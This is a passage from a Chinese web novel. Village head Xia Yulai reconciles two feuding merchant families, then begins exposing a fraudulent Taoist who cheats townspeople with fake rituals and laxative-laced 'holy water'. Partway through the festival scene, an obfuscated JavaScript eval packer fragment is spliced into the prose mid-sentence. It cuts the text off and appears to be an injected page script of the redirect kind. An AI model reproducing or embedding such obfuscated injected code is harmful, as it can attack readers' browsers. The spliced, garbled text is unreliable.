苏振邦说道,“这恩怨,不是说放下就能放下的。除非陆家先给我苏家道歉,承认当年的错误,否则我是不会跟陆家和解的!” “凭什么让我们道歉?” 陆承业立刻反驳,“当年明明是你们苏家的错,要道歉也该是你们苏家先道歉!” “是你们陆家的错!” “是你们苏家的错!” 两人又吵了起来,夏雨来无奈地摇了摇头。他知道,要让这两家主动道歉,简直比登天还难。看来,只能用点 “手段” 了。 三、夏雨来巧设连环计,初探两家突破口 当天晚上,夏雨来回到家,翻来覆去睡不着觉,脑子里全是苏家和陆家的恩怨。他想了很久,觉得要化解这两家的恩怨,不能硬来,只能智取。 首先,他得弄清楚,五十年前的事情,到底谁对谁错。只有查明真相,才能让两家心服口服。其次,他得找到两家的共同利益点,让他们明白,合作比争斗更有利。最后,他还得想办法让两家的年轻人建立联系,化解老一辈的仇恨。 第二天一早,夏雨来就来到了县衙,找到了师爷。他知道,师爷学识渊博,而且在县城里待了几十年,说不定知道一些当年的事情。 “师爷,我想向你打听点事情。” 夏雨来说道,“五十年前,苏家和陆家的恩怨,你知道吗?” 师爷点了点头:“知道一些。当年我还小,听我父亲说过,苏家的苏老栓和陆家的陆海川,本来是好朋友,后来因为一批瓷器的事情反目成仇,闹得不可开交。” “那你知道,当年到底是谁的错吗?” 夏雨来问道。 师爷叹了口气:“这事儿,说起来也复杂。当年的事情,没有确凿的证据,双方都各执一词。不过,我听我父亲说,好像是苏老栓先毁了约定,把瓷器卖给了另一家船行,陆海川气不过,才扣了苏老栓的另一批货物。后来两家闹到衙门,衙门也没办法,只能各打五十大板,让他们私下和解。可谁知道,两家都不愿意和解,反而结下了世仇。” 夏雨来心里明白了,原来当年的事情,双方都有过错。这样一来,事情就好办多了。 “师爷,” 夏雨来说道,“我想化解这两家的恩怨,你有没有什么好办法?” 师爷想了想,说道:“这两家的恩怨,已经根深蒂固了,想要化解,难啊!不过,也不是没有办法。这两家的当家人苏振邦和陆承业,虽然固执,但都很疼爱自己的孩子。苏家有个儿子叫苏文轩,今年十八岁,饱读诗书,是个才子;陆家有个女儿叫陆婉清,今年十六岁,聪明伶俐,琴棋书画样样精通。要是能让这两个孩子走到一起,说不定能化解两家的恩怨。” 夏雨来眼睛一亮:“师爷,你这个主意好!不过,这两家的关系这么僵,怎么才能让他们的孩子走到一起呢?” 师爷笑了笑:“这就要看你的本事了。你可以利用县里的一些活动,比如下个月的赏花节,让两家的孩子有机会见面。到时候,你再从中撮合,说不定能成。” 夏雨来点了点头:“好!我就按你说的办!不过,光靠这个还不够,我还得想办法让苏振邦和陆承业也改变态度。” 从县衙出来后,夏雨来直接去了苏家的瓷窑。苏振邦正在瓷窑里检查瓷器,看到夏雨来,愣了一下:“夏里正,你怎么来了?” “苏当家,我是来跟你谈生意的。” 夏雨来说道,“我有个朋友,在江南做瓷器生意,最近想要一批霁蓝釉瓷器,我觉得你家的瓷器不错,想给你介绍介绍。” 苏振邦眼睛一亮:“真的?夏里正,太谢谢你了!我家的霁蓝釉瓷器,质量绝对没问题,价格也公道!” 夏雨来笑了笑:“苏当家,不用谢我。不过,我这个朋友有个要求,他要的瓷器比较多,而且要尽快发货。你也知道,县城里的船,只有陆家的船运量最大,速度也最快。要是你能让陆家的船帮你运输,我保证,这笔生意能成。” 苏振邦的脸色立刻沉了下来:“夏里正,你这是什么意思?让我找陆家的船运输?我宁可不做这笔生意,也不会找陆家!” 夏雨来早就料到他会这样,说道:“苏当家,我知道你跟陆家有恩怨。但生意是生意,恩怨是恩怨,不能混为一谈。这笔生意,能让你赚不少银子,你为什么要因为恩怨而放弃呢?再说,你找陆家的船运输,又不是向他们低头,只是互相利用而已。等生意做成了,你还是你,他还是他,你们的恩怨,该怎么样还怎么样。” 苏振邦沉默了,他心里确实很想做这笔生意,但又不愿意跟陆家打交道。 “苏当家,你好好想想。” 夏雨来说道,“机会难得,错过了就没了。而且,我可以帮你跟陆承业谈谈,让他给你优惠的运费。你想想,用最低的运费,最快的速度,把瓷器运到江南,赚一大笔银子,这难道不香吗?” 苏振邦心里动摇了,他犹豫了很久,终于说道:“好!夏里正,我就信你一次!不过,我有个条件,我不跟陆承业见面,一切都由你出面跟他谈。” 夏雨来笑了笑:“没问题!苏当家,你放心,我一定帮你谈妥!” 离开苏家后,夏雨来又去了陆家的船厂。陆承业正在指挥工人造船,看到夏雨来,皱了皱眉:“夏里正,你来找我有事?” “陆当家,我是来给你送生意的。” 夏雨来说道,“苏家有一批霁蓝釉瓷器,要运到江南,想找你的船运输。你也知道,苏家的瓷器很受欢迎,运费也不少,这可是一笔好生意啊!” 陆承业脸色一变:“夏里正,你别跟我开玩笑了!我陆家的船,就算空着,也不会运苏家的瓷器!” 夏雨来说道:“陆当家,我知道你跟苏家有恩怨。但这笔生意,能让你赚不少银子,你为什么要放弃呢?再说,你运苏家的瓷器,又不是向他们低头,只是赚钱而已。等生意做成了,你还是你,他还是他,你们的恩怨,该怎么样还怎么样。” 陆承业沉默了,他心里也很想做这笔生意,但又不愿意跟苏家打交道。 “陆当家,你好好想想。” 夏雨来说道,“你船厂最近不是要翻新吗?正需要银子。这笔生意的运费,足够你翻新船厂了。而且,我已经跟苏振邦谈好了,他不跟你见面,一切都由我出面跟你对接。你只需要派船运输,就能赚银子,何乐而不为呢?” 陆承业心里动摇了,他犹豫了很久,终于说道:“好!夏里正,我就信你一次!不过,我也有个条件,运费不能少,而且要先付一半定金。” 夏雨来笑了笑:“没问题!陆当家,你放心,我一定帮你谈妥!” 从陆家出来后,夏雨来心里松了一口气。第一步已经成功了,接下来,他要让这两家的孩子也建立联系。 四、赏花节上初相遇,才子佳人暗生情 转眼就到了赏花节。县城的东门外有一片桃林,每到三月,桃花盛开,美不胜收,县里的百姓都会去桃林赏花。夏雨来早就跟苏振邦和陆承业打过招呼,让他们带着家人去桃林赏花。 这天一早,桃林里就挤满了人。苏振邦带着儿子苏文轩,陆承业带着女儿陆婉清,都来到了桃林。夏雨来特意安排他们在桃林的中心地带相遇。 苏文轩穿着一身青色长衫,手里拿着一把折扇,风度翩翩,一看就是个才子。陆婉清穿着一身粉色衣裙,梳着双丫髻,眉清目秀,宛如一朵盛开的桃花。两人见面后,都愣住了,他们早就听说过对方的名字,但还是第一次见面。 “这位公子,请问你是?” 陆婉清率先开口,声音清脆悦耳。 “在下苏文轩,见过姑娘。” 苏文轩拱了拱手,语气温和。 “原来是苏公子,久仰大名。” 陆婉清说道,“我是陆婉清。” “原来是陆姑娘,久仰大名。” 苏文轩说道。 两人互相打量着对方,眼神里都带着一丝好奇。夏雨来看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏文轩笑了笑:“不管这风筝是谁的,你们一起玩,不是更开心吗?你们看,这风筝飞得这么高,要是你们一直抢,风筝掉下来摔坏了,谁也玩不成了。” 两个小孩想了想,觉得苏文轩说得有道理,于是点了点头,一起拿着风筝去玩了。 陆婉清看着苏文轩,眼里露出了欣赏的神色:“苏公子,你真厉害,几句话就化解了他们的矛盾。” 苏文轩笑了笑:“这没什么。其实,很多矛盾,只要互相体谅一下,就能化解。就像我们两家的恩怨,要是双方都能退一步,说不定早就化解了。” 陆婉清点了点头:“是啊!我父亲和苏伯父,就是太固执了。他们总是想着报仇,却忘了,仇恨只会带来痛苦和损失。” 夏雨来看着他们,心里暗自点头。这两个孩子,都很明事理,只要他们能坚持自己的想法,一定能影响到他们的父亲。 “苏公子,陆姑娘,” 夏雨来说道,“我看你们很合得来,不如以后多联系联系?可以一起读书、一起下棋、一起游山玩水。” 苏文轩和陆婉清都点了点头:“好啊!” 赏花节过后,苏文轩和陆婉清果然经常联系。他们一起去书院读书,一起去河边下棋,一起去山上游山玩水,感情越来越深。苏振邦和陆承业虽然知道他们的事情,但也没有反对。他们心里都明白,孩子长大了,有自己的想法,而且,他们也不想因为自己的恩怨,影响孩子的幸福。 五、旧案重提找真相,证据面前释前嫌 随着苏文轩和陆婉清的感情越来越好,苏振邦和陆承业的态度也渐渐软化了。夏雨来觉得,是时候查明五十年前的真相了。 他再次来到县衙,找到了师爷,想要查阅当年的卷宗。师爷说道:“夏里正,当年的卷宗,早就不见了。不过,我记得我父亲当年留下了一本日记,里面可能记载了一些关于当年事情的真相。” 夏雨来心里一喜:“师爷,能不能让我看看你父亲的日记?” 师爷点了点头:“好!我这就回去给你拿。” 没过多久,师爷就拿来了一本泛黄的日记。夏雨来接过日记,仔细地翻阅起来。日记里果然记载了当年的事情,原来,当年的事情,确实是一场误会。 五十年前,苏老栓确实准备把一批瓷器卖给陆家的船运输,但就在发货的前一天,苏老栓的母亲突然病重,需要一大笔银子治病。苏老栓一时情急,就把这批瓷器卖给了另一家船行,想要尽快拿到银子给母亲治病。陆海川不知道这件事,以为苏老栓故意毁约,就扣了苏老栓的另一批货物。后来两家闹到衙门,衙门也没有查明真相,就各打五十大板,让他们私下和解。 苏老栓因为母亲的病,心情一直不好,加上被陆海川扣了货物,更是气上加气,没过多久就去世了。陆海川后来知道了事情的真相,心里非常后悔,但那时候苏老栓已经去世了,两家的恩怨也已经结下,他也没办法挽回了。 夏雨来看完日记,心里终于明白了。他拿着日记,分别找到了苏振邦和陆承业。 “苏当家,陆当家,” 夏雨来说道,“我已经查明了五十年前的真相,这是当年的日记,你们看看吧!” 苏振邦和陆承业接过日记,仔细地翻阅起来。当他们看到日记里记载的真相时,都愣住了。 “原来,当年的事情,是一场误会!” 苏振邦感慨道,“我爷爷不是故意毁约,而是因为我太奶奶病重,急需银子治病!” “我爷爷也知道了真相,心里很后悔!” 陆承业也感慨道,“没想到,我们两家竟然因为一场误会,结下了五十年的世仇!” 两人都沉默了,心里五味杂陈。他们想起了这五十年来,两家因为恩怨所遭受的损失,想起了彼此之间的互相打压,想起了孩子们因为两家的恩怨所受到的影响,心里充满了悔恨。 “苏振邦,” 陆承业抬起头,看着苏振邦,“对不起,当年的事情,是我爷爷误会了你爷爷,还扣了你的货物,我代表陆家,向你道歉!” 苏振邦也抬起头,看着陆承业,说道:“陆承业,也对不起,当年的事情,我爷爷也有不对的地方,没有及时跟你爷爷解释清楚,才造成了这场误会。我代表苏家,也向你道歉!” 两人相视一笑,五十年来的恩怨,在这一刻终于烟消云散。 “苏振邦,” 陆承业说道,“我们两家斗了五十年,也斗累了。不如,我们从此放下仇恨,联手合作,一起把生意做得更大,怎么样?” 苏振邦点了点头:“好!陆承业,我也是这么想的!我们两家联手,一定能在江南闯出一片天地!” 夏雨来看着他们,心里充满了成就感。他知道,自己终于化解了这两家的世仇。 六、联手合作创辉煌,市井风气更清正 苏振邦和陆承业和解后,立刻开始了合作。苏家的瓷器,通过陆家的船运输到江南各地,运费降低了不少,成本也减少了;陆家的船,因为装载了苏家的瓷器,再也不用空着舱位行驶,利润也增加了不少。 不仅如此,两家还在生意上互相扶持。苏家的瓷器,在陆家的船上做广告,销量大增;陆家的船,因为运输苏家的瓷器,知名度也提高了不少,很多客商都主动找陆家的船运输货物。 没过多久,苏家的瓷窑就扩大了规模,陆家的船厂也翻新了设备,两家的生意都做得风生水起,赚得盆满钵满。 苏文轩和陆婉清的感情也越来越深,在双方父母的支持下,订下了婚约。订婚那天,苏家和陆家大摆宴席,邀请了县城里的所有百姓。宴席上,苏振邦和陆承业并肩而立,向大家宣布了两家和解的消息,还表示以后会一起为县城的发展做贡献。 百姓们都纷纷鼓掌,为他们感到高兴。大家都说,夏雨来真是个能人,不仅制定了《市井公约》,还化解了两家的世仇,让县城的风气变得更加清正。 “夏里正,真是多亏了你!” 苏振邦握着夏雨来的手,感激地说道,“要是没有你,我们两家的恩怨,还不知道要延续到什么时候!” “夏里正,你是我们两家的大恩人!” 陆承业也握着夏雨来的手,感激地说道,“以后,你有什么需要我们帮忙的地方,尽管开口,我们一定在所不辞!” 夏雨来笑了笑:“苏当家,陆当家,不用谢我。这都是你们自己的功劳,是你们愿意放下仇恨,才有今天的结果。我只是做了我应该做的事情。” 从那以后,苏家和陆家成了县城里最要好的两家,他们一起资助贫困百姓,一起修缮公共设施,一起举办各种公益活动,为县城的发展做出了很大的贡献。 县城里的风气也越来越好,商家们都诚信经营,互相扶持;邻里之间都和睦相处,互相帮助;再也没有了欺行霸市、地痞无赖的现象,百姓们安居乐业,过上了幸福美满的生活。 夏雨来站在城隍庙的戏台上,看着这座繁荣美丽的县城,心里充满了成就感。他知道,自己所做的一切,都是值得的。他守护的不仅是一座县城,更是百姓们的幸福和安宁。 “咚 —— 咚 —— 咚 ——” 三更的梆子声再次响起,夏雨来站在戏台上,望着天边的明月,脸上露出了欣慰的笑容。他知道,只要百姓们团结一心,只要《市井公约》能够一直执行下去,这座县城就会永远安宁,永远繁荣。 他笑了,笑得那么开心,那么坦荡。这一夜,他又将是一个无眠之夜,但他无怨无悔,因为他知道,自己肩上的责任重大,他要守护的,是整个县城的希望和未来。 47. 智斗神棍 一、城隍庙天降 “活神仙”,油嘴滑舌唬愚民 县城的城隍庙,自打上个月苏陆两家办了合婚宴,就没这么热闹过了。 这日天刚蒙蒙亮,庙门口的老槐树还挂着晨露,就有个穿着道袍的汉子,摇着铜铃 “叮铃哐啷” 地闯了进来。这汉子约莫三十出头,身材瘦高,下巴留着三缕山羊胡,头发用木簪挽着,道袍是粗麻布做的,却洗得发白,偏偏腰间系着个油光水滑的黑皮囊,手里还捧着个铜制的八卦盘,走路一步三摇,眼神却滴溜溜地转,活像只偷油的老鼠。 “无量天尊!” 汉子站在城隍庙的香炉前,突然大喝一声,铜铃猛地一摇,吓得几个早起上香的老太太一哆嗦。“此城妖气弥漫,灾星将至,贫道特奉太上老君法旨,下凡解救众生!” 这话一出,原本稀稀拉拉的香客顿时围了过来。县城里的百姓,平日里就信个鬼神之说,加上最近天气反常,连着半个月没下雨,地里的庄稼都快蔫了,粮价隐隐有上涨的趋势,大家本就心里发慌,这会儿听见 “灾星”“解救” 的字眼,一个个都竖起了耳朵。 “道长,您说的灾星,是啥灾啊?” 说话的是卖豆腐的王婆,她最近总觉得自家豆腐馊得快,正愁找不到缘由,此刻眼睛瞪得溜圆,手里的豆腐板都忘了放下。 那汉子捋了捋山羊胡,装模作样地拿起八卦盘转了转,眉头紧锁道:“此灾非比寻常!乃是五百年一遇的‘旱魃作祟’,若不及时祭祀,不出一月,县城必遭大旱,颗粒无收,甚者还会引发瘟疫,十室九空啊!” “我的娘嘞!” 王婆吓得腿一软,手里的豆腐板 “啪嗒” 掉在地上,白花花的豆腐摔得稀烂,“道长,那可咋整啊?您可得救救我们!” 周围的百姓也跟着慌了神,七嘴八舌地议论起来:“怪不得最近天这么热,原来是旱魃来了!”“可不是嘛,我家隔壁的张三,昨天还中暑了呢!”“道长,您有啥法子,尽管说,我们都听您的!” 汉子心里暗自得意,脸上却依旧一本正经:“贫道自有破解之法。只需搭建一座‘祈雨坛’,由贫道亲自做法,再集齐一百户人家的‘祈福银’,购买法器供奉神明,便能驱散旱魃,降下甘霖。” “祈福银要多少啊?” 有人小心翼翼地问道。 “不多,每户只需纹银五两。” 汉子轻描淡写地说道,眼神却扫过众人的神色。 “五两?” 人群里发出一阵吸气声,普通百姓一家一年的生活费也就三两银子,五两可不是个小数目。但一想到汉子说的 “颗粒无收”“瘟疫”,大家又犹豫起来。 “道长,五两是不是太多了?” 卖菜的李老汉皱着眉说道,他手里攥着皱巴巴的铜板,心里盘算着自家那点积蓄。 汉子脸色一沉,收起八卦盘:“哼!神明面前,岂容讨价还价?这五两银子,是为了你们全家的性命,若是舍不得,等灾星降临,后悔可就晚了!” 他顿了顿,又换上一副悲悯的神色,“也罢,贫道慈悲为怀,念在众生不易,每户就收三两银子。但必须在三日之内集齐,否则法事无法如期举行,后果自负!” 说着,他从黑皮囊里掏出一个木制的箱子,上面刻着 “祈福箱” 三个大字,放在香炉旁边:“愿意祈福的乡亲,把银子放进箱子里,贫道会为你们登记姓名,日后神明降福,必有你们一份!” 王婆第一个响应,她回家取了三两银子,急匆匆地跑回来,塞进箱子里:“道长,我先捐!求神明保佑我家平安!” 有了王婆带头,其他百姓也纷纷效仿。李老汉咬了咬牙,把准备给孙子看病的银子拿了出来;开杂货铺的赵老板,捐了五两银子,还主动提出要帮忙搭建祈雨坛;就连平日里抠门的张屠户,也捏着三两银子,磨磨蹭蹭地放进了箱子里,嘴里嘟囔着:“只要能下雨,这点银子算啥!” 汉子看着箱子里的银子越来越多,眼睛都亮了,心里乐开了花:这些愚民,真是好骗!三两银子一户,一百户就是三百两,足够老子快活好一阵子了!他强压着笑意,继续摇着铜铃,嘴里念念有词:“太上老君急急如律令,保佑众生平安……” 这一幕,被刚路过城隍庙的夏雨来看得一清二楚。 夏雨来一大早去码头查看漕运情况,路过城隍庙时,就听见里面吵吵嚷嚷的,好奇之下走了进来。他一眼就看出那汉子是个骗子,心里暗自冷笑:这都什么年代了,还有人装神弄鬼骗钱?也太把县城的百姓当傻子了! 但他没有立刻上前戳穿,而是站在人群外围,不动声色地观察着。他想看看这神棍到底有什么套路,还有多少百姓会受骗。 “夏里正!” 张屠户一眼就看见了夏雨来,连忙挤了过来,“你可来了!这位道长是活神仙,能祈雨驱灾,你也赶紧捐点银子,求个平安!” 夏雨来心里好笑,脸上却不动声色:“张屠户,你怎么就知道他是活神仙?” “这还用说?” 张屠户指了指那汉子,“道长刚才说了,咱们县城有旱魃作祟,他能做法驱邪降雨!你没看见王婆都捐了银子吗?” 夏雨来瞥了一眼那汉子,只见他正闭着眼睛,装模作样地打坐,嘴角却微微上扬,显然是在偷偷得意。夏雨来心里盘算着:这神棍油嘴滑舌,看来是个惯犯。硬来肯定不行,百姓们现在被他唬住了,要是直接戳穿,说不定会引起民愤。得想个办法,让他自露马脚。 “道长,” 夏雨来走上前,拱了拱手,“在下夏雨来,是本县的里正。刚才听道长说,能驱邪降雨,不知道长能否露一手,让我们开开眼界?” 那汉子睁开眼睛,上下打量了夏雨来一番,见他穿着粗布长衫,气质沉稳,知道是个不好糊弄的角色,心里顿时警惕起来。但他仗着自己经验丰富,依旧面不改色地说道:“夏里正此言差矣!道法玄妙,岂能轻易示人?再说,祈雨之事,关乎众生福祉,需诚心诚意,方能打动神明。若只是为了‘开眼界’,便是对神明的不敬,反而会触怒旱魃,加重灾情。” “哦?” 夏雨来笑了笑,“道长说得有理。只是,百姓们捐了银子,心里总是有些不踏实。不如道长先做个小法,比如让这城隍庙的香炉里,凭空冒出香火,也好让大家信服啊!” 周围的百姓也纷纷附和:“是啊,道长,露一手让我们看看!”“要是能凭空冒出香火,我们就更放心了!” 汉子心里咯噔一下,暗道:这夏雨来果然不好对付,竟然想出这么个法子。凭空冒香火的戏法,他倒是会,但需要提前准备,现在仓促之间,根本来不及。他眼珠一转,计上心来,脸色一沉道:“夏里正,你这是在质疑贫道的法力?神明在上,岂能容你亵渎?若再胡言乱语,休怪贫道不客气!” 说着,他猛地举起八卦盘,大喝一声:“八卦镇煞!” 可除了铜铃的 “叮铃” 声,什么也没发生。百姓们脸上露出了疑惑的神色,议论声也小了下去。 汉子心里慌了,连忙说道:“刚才是因为夏里正的不敬,冲撞了神明,所以法力未能施展。也罢,看在众生的份上,贫道就不计较了。但祈雨坛必须尽快搭建,银子也必须按时集齐,否则后果不堪设想!” 夏雨来看着他故作镇定的样子,心里暗自好笑:这神棍,果然是个纸老虎。他知道,现在还不是戳穿他的时候,得先稳住百姓,再慢慢找证据。 “既然道长这么说,那我就不打扰了。” 夏雨来拱了拱手,“不过,搭建祈雨坛和筹集银子的事情,关乎百姓利益,我会派人监督,确保每一分银子都用在正途上。” 汉子心里一紧,暗道:这夏雨来是想断我的财路啊!但他表面上还是点了点头:“也好,有夏里正监督,百姓们也能更放心。贫道一切为公,绝无半分私心!” 夏雨来笑了笑,没再说话,转身离开了城隍庙。他知道,一场好戏,才刚刚开始。 二、贪心神棍设毒计,百姓愚昧争相捐 夏雨来离开后,那汉子心里七上八下的。他知道,夏雨来不是那么好糊弄的,有他在,自己的骗局随时可能被戳穿。但眼看着箱子里的银子越来越多,他又舍不得放弃,心里盘算着:不如加快进度,尽快把银子骗到手,然后溜之大吉! 当天下午,汉子就找了几个愿意帮忙的百姓,在城隍庙的后院搭建祈雨坛。祈雨坛用黄土夯成,高三丈,分三层,最上面供奉着一个用泥巴捏成的 “龙王像”,看起来滑稽可笑。但百姓们却看得十分虔诚,纷纷跪在坛前磕头。 汉子则在一旁指挥着,嘴里时不时地念叨着一些听不懂的咒语,还让百姓们往坛上洒五谷杂粮,说是 “供奉神明”。其实,这些五谷杂粮,都是他让百姓们从家里带来的,最后都进了他的黑皮囊。 晚上,汉子在城隍庙的偏殿里,偷偷打开祈福箱,看着里面白花花的银子,笑得合不拢嘴。他数了数,已经有一百多两了,再过两天,等银子集齐了,他就卷款跑路,到下一个县城继续行骗。 可他又想起了夏雨来,心里有些不安。他知道,夏雨来肯定在暗中观察他,要是不做点什么,恐怕很难顺利得手。他眼珠一转,计上心来:不如再设一个毒计,让百姓们更加相信他,同时也让夏雨来无话可说! 第二天一早,汉子就拿着一个写满符咒的黄纸,站在城隍庙门口,大声喊道:“各位乡亲,贫道昨晚夜观天象,发现旱魃的妖气越来越重,已经开始侵蚀县城的水源了!从今天起,大家不能再喝井水,只能喝贫道炼制的‘圣水’,否则就会中毒身亡!” 说着,他指了指旁边一个大木桶,里面装着一些浑浊的液体,散发着一股刺鼻的气味。 “道长,这圣水怎么卖啊?” 王婆第一个跑过来,脸上满是焦急。 “圣水乃是神明所赐,不能用钱买。” 汉子说道,“但为了表示诚意,每户人家需要捐纹银五两,贫道会为你们祈福,然后赐予圣水。” “什么?还要五两?” 李老汉皱着眉说道,“昨天已经捐了三两了,现在又要五两,我们实在拿不出来啊!” “哼!” 汉子脸色一沉,“性命重要还是银子重要?要是不喝圣水,不出三天,你们就会浑身溃烂而死!到时候,就算有再多的银子,也买不回性命!” 百姓们被他吓得魂飞魄散,纷纷回家取钱。王婆甚至把自家的金耳环都当了,换了五两银子捐了出去,换了一小碗 “圣水”,宝贝似的捧在手里,还说要给全家分着喝。 张屠户也咬了咬牙,捐了五两银子,他一边接过圣水,一边嘟囔着:“希望这圣水真能管用,不然我这五两银子就打水漂了!” 汉子看着百姓们争相捐款,心里乐开了花。他知道,这些百姓已经被他彻底唬住了,就算夏雨来再来,也很难挽回局面。 可他不知道的是,夏雨来早就派了两个可靠的伙计,暗中盯着他的一举一动。 这两个伙计,一个叫二狗,一个叫三柱,都是县城里的贫困户,之前受过夏雨来的帮助,对他忠心耿耿。二狗和三柱按照夏雨来的吩咐,一直躲在城隍庙附近的巷子里,观察着汉子的一举一动,还偷偷记录下了他收钱、藏钱的过程。 “三柱,你看这神棍,又在骗百姓的钱了!” 二狗指着汉子,气愤地说道,“那圣水看起来就像泥水,哪里是什么神明所赐!” 三柱点了点头:“是啊,这神棍太可恶了!夏里正让我们盯着他,肯定是想戳穿他的骗局。我们可得仔细点,别让他跑了!” 两人正说着,就看见汉子偷偷溜进了城隍庙的偏殿,关上了门。二狗和三柱对视一眼,悄悄地跟了过去,趴在窗户上往里看。 只见汉子打开祈福箱,把里面的银子都倒进了黑皮囊里,然后又从床底下拿出一个小罐子,打开盖子,把一些白色的粉末倒进了装圣水的木桶里。二狗和三柱看得清清楚楚,心里都明白了:这圣水根本就是泥水,那白色粉末,说不定是泻药之类的东西! “不好,这神棍要害人!” 二狗压低声音说道,“我们得赶紧告诉夏里正!” 三柱点了点头,两人悄悄地离开了巷子,飞快地向夏雨来的杂货铺跑去。 此时,夏雨来正在杂货铺里算账,听了二狗和三柱的汇报,脸色顿时沉了下来。他没想到,这神棍竟然如此胆大包天,不仅骗钱,还想用药害百姓! “二狗,三柱,你们做得好!” 夏雨来说道,“你们继续盯着他,千万不能让他跑了!我这就去县衙报案,带官差来抓他!” 说着,夏雨来放下账本,快步向县衙跑去。他知道,现在情况紧急,必须尽快戳穿神棍的骗局,否则百姓们喝了那所谓的 “圣水”,后果不堪设想。 可他刚走到半路,就被一个百姓拦住了。这个百姓是个老秀才,姓陈,平日里就有些迂腐,最信鬼神之说。 “夏里正,你这是要去哪里啊?” 陈秀才拦住夏雨来,问道。 “陈秀才,我要去县衙报案,那城隍庙的神棍是个骗子,他的圣水是假的,还想害百姓!” 夏雨来说道。 “什么?” 陈秀才脸色一变,“夏里正,你可不能胡说!道长是活神仙,他的圣水怎么会是假的?我看你是被猪油蒙了心,想要亵渎神明!” “陈秀才,我没有胡说!” 夏雨来急道,“我已经派人事先观察过了,那神棍在圣水里加了东西,根本不是什么神明所赐!” “我不信!” 陈秀才摇着头,“道长昨天还为我算了一卦,说我近日有贵人相助,果然今天我就收到了远方亲戚的来信,说要给我送银子!这难道还不能证明道长是活神仙吗?” 夏雨来心里暗自叹气:这陈秀才,真是被神棍骗得团团转!那所谓的 “贵人相助”,说不定就是神棍瞎蒙的,或者是他早就打听好的消息。 “陈秀才,那都是神棍的骗局!” 夏雨来说道,“他就是利用你们的迷信心理,骗你们的钱财!你要是不信,跟我去城隍庙看看,我让你亲眼见识一下他的真面目!” 可陈秀才根本不听,还挡在夏雨来面前:“夏里正,你要是敢去捣乱,就是对神明的不敬,我第一个不答应!” 周围的百姓也围了过来,纷纷劝说夏雨来:“夏里正,道长是活神仙,你就别怀疑了!”“是啊,我们都喝了圣水,感觉身体好多了!”“你要是把道长赶走了,谁来给我们祈雨啊?” 夏雨来看着这些被蒙在鼓里的百姓,心里又气又急。他知道,现在就算去县衙报案,带官差来,百姓们也不会配合,说不定还会帮着神棍说话。看来,只能用自己的办法,戳穿神棍的骗局了。 三、夏雨来暗查寻证据,神棍心虚露马脚 夏雨来摆脱了陈秀才和百姓们的阻拦,没有去县衙,而是直接回了杂货铺。他知道,现在最重要的是找到确凿的证据,让百姓们心服口服。 他叫来二狗和三柱,问道:“你们刚才说,那神棍在圣水里加了白色粉末,你们看清楚是什么了吗?” 二狗摇了摇头:“没看清楚,那粉末是白色的,看起来像面粉,又像石灰。” 三柱补充道:“我们还看见他把祈福箱里的银子都倒进了黑皮囊里,藏在了床底下的一个大箱子里。” 夏雨来点了点头:“好,你们继续盯着他,一旦发现他有逃跑的迹象,立刻告诉我!另外,你们想办法弄一点他加在圣水里的白色粉末,还有那所谓的圣水,给我带回来化验!” “化验?” 二狗和三柱对视一眼,不解地问道,“夏里正,化验是什么意思?” 夏雨来笑了笑:“就是看看那粉末和圣水到底是什么东西。你们放心,我自有办法。” 二狗和三柱点了点头,转身离开了杂货铺,继续去盯着神棍。 夏雨来则来到了后院,找到了他之前从一位游方郎中那里买来的一些草药和工具。他之前跟着郎中学习过一些简单的药理知识,知道如何分辨一些常见的毒物和药物。 没过多久,二狗和三柱就偷偷溜了回来,手里拿着一个小纸包和一个小碗。 “夏里正,这是我们偷偷弄来的白色粉末和圣水。” 二狗把东西递给夏雨来,“我们趁那神棍出去忽悠百姓的时候,偷偷从木桶里舀了一点圣水,还从他的小罐子里倒了一点粉末。” 夏雨来接过东西,先打开了装圣水的小碗。碗里的液体浑浊不堪,散发着一股刺鼻的气味,看起来就像泥水和某种东西混合在一起。他用手指沾了一点,放在嘴里尝了尝,顿时皱起了眉头:这圣水又苦又涩,还有一股淡淡的碱味,根本不是什么神明所赐,分明是加了东西的泥水! 接着,他打开了装白色粉末的纸包。粉末是白色的,细腻光滑,摸起来有些冰凉。他取了一点粉末,放在鼻子前闻了闻,又用舌头舔了舔,心里顿时有了底:这粉末是泻药!而且是那种药效很强的泻药,人吃了之后,会拉肚子拉得脱水! 夏雨来心里又气又怒:这神棍太可恶了!竟然用泻药冒充圣水,欺骗百姓,还想让他们拉肚子,然后再趁机骗更多的钱! 他知道,现在证据还不够,必须找到神棍藏银子的地方,还有他行骗的其他证据,才能彻底戳穿他的骗局。 当天晚上,月黑风高,夏雨来换上一身夜行衣,悄悄地来到了城隍庙。他知道,神棍肯定在偏殿里,现在正是找证据的好时机。 夏雨来轻功不错,悄无声息地翻过了城隍庙的围墙,来到了偏殿门口。偏殿的门虚掩着,里面传来了神棍的呼噜声。 夏雨来轻轻推开门,溜了进去。他借着窗外的月光,看到神棍正躺在床上呼呼大睡,黑皮囊放在床头,床底下的大箱子也露了一角。 夏雨来小心翼翼地走到床底下,打开了大箱子。箱子里果然装满了银子,还有一些金银首饰,显然都是骗来的。他还在箱子里找到了一本小册子,上面记录着他在各个县城行骗的经过,还有一些骗人的口诀和戏法秘诀。 夏雨来心里一喜,把小册子放进了怀里,又拿起黑皮囊,想要把银子带走。可就在这时,神棍突然翻了个身,嘴里嘟囔着:“银子…… 好多银子……” 夏雨来心里一惊,连忙屏住呼吸,躲到了床底下。 神棍迷迷糊糊地睁开眼睛,看了看床头的黑皮囊,又倒头睡了过去。 夏雨来松了一口气,慢慢地从床底下爬出来,拿起黑皮囊,悄悄地溜出了偏殿,翻过围墙,回到了杂货铺。 回到杂货铺后,夏雨来打开黑皮囊,数了数里面的银子,竟然有三百多两,还有十几件金银首饰。他心里暗自庆幸:幸好及时找到了这些证据,否则百姓们的损失就更大了! 他把银子和金银首饰收好,又打开了那本小册子。小册子上的字迹潦草,记录着神棍的姓名、籍贯,还有他行骗的手段。原来,这神棍姓胡,名叫胡三,是邻县的一个无赖,因为赌博输光了家产,就做起了装神弄鬼的勾当,在好几个县城骗了不少钱财。 